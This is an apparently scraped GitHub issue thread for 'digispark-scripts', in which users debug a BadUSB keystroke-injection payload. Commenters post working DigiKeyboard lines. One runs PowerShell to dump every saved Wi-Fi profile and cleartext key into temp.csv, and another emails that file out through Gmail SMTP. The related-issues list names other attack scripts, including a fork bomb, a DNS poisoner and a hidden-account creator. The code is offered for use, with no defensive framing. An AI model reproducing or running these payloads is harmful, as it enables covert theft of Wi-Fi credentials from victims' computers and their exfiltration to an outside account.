Comments (4)
yeah I had the same problem here is my fix:
fix code line 22 to:
DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\:(.+)$' | %{$name=$.Matches.Groups[1].Value.Trim(); $} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\W+\:(.+)$' | %{$pass=$.Matches.Groups[1].Value.Trim(); $} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\W+:(.+)$' | %{$pass=$.Matches.Groups[1].Value.Trim(); $} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv temp.csv" "));
the error u were getting in PS was this one:
Cannot convert argument "item", with value: "temp.csv", for "Add" to type "System.Net.Mail.Attachment": "Cannot
convert value "temp.csv" to type "System.Net.Mail.Attachment". Error: "Could not find file
'C:\WINDOWS\system32\temp.csv'.""
At line:1 char:464
- ... rds Your Digispark'; $ReportEmail.Attachments.Add('temp.csv'); $SMTPI ...
-
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- CategoryInfo : NotSpecified: (:) [], MethodException
- FullyQualifiedErrorId : MethodArgumentConversionInvalidCastArgument
from digispark-scripts.
Ok so now it has this error message:
exit status 1
Error compiling for board Digispark (Default - 16.5mhz).
This report would have more information with
"Show verbose output during compilation"
option enabled in File -> Preferences.
And thats before I changed any code. I haven't touched the arduino software in about a month so I don't know if it has something to do with that, or if its my settings or what. Also, before that message, I was able to get an email so I'm pretty sure my settings are correct unless the software has changed of something. Please help me thanks!
from digispark-scripts.
I had the same problem with the attachment file
putting the full file path into a variable and passing it as the argument seems to fix it for me.
replace the e-mail sending line with:
DigiKeyboard.print(F("$path = join-path $env:userprofile 'temp.csv'; $SMTPInfo = New-Object Net.Mail.SmtpClient('smtp.gmail.com', 587); $SMTPInfo.EnableSsl = $true; $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('GMAIL_USERNAME', 'GMAIL_PASSWORD'); $ReportEmail = New-Object System.Net.Mail.MailMessage; $ReportEmail.From = 'SENDER_MAIL'; $ReportEmail.To.Add('RECEIVER_MAIL'); $ReportEmail.Subject = 'DigiSpark Report'; $ReportEmail.Body = 'Attached is your report. - Regards Your Digispark'; $ReportEmail.Attachments.Add($path); $SMTPInfo.Send($ReportEmail);exit"));
from digispark-scripts.
Sorry for joining the party late, missed the github notification. Given the solutions here I'm closing the issue. If it persists just comment so and I'll re-open it.
from digispark-scripts.
Related Issues (20)
- On Readme.md there is an issue with the syntax HOT 1
- Can't Stop!
- Wifi Profiler does not work on windows HOT 1
- Wifi Password file blank HOT 3
- Rapid Shell, decimal error HOT 3
- feature request: Os detection
- please help to convert all rubber ducky payloads to digispark
- bit.ly Blacklisted The Link HOT 2
- How to add arrow key scripts to digikeyboard.h HOT 2
- Script Shell does not working HOT 3
- Wifi profile grabber dosent create a file . HOT 1
- idk what i did but when uploading it did this
- Wifi mailer doesn't work anymore HOT 1
- i need to delete the newly created account made by the create_account script.
- Script changing HOT 3
- does the attiny work if command prompt is blocked by administrator? HOT 1
- Feature
- Persistent_Fork_Bomb HOT 1
- DNS_Poisoner.ino Does not Work. HOT 1
- Download Flagged by antivirus and windows defender HOT 1
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.
from digispark-scripts.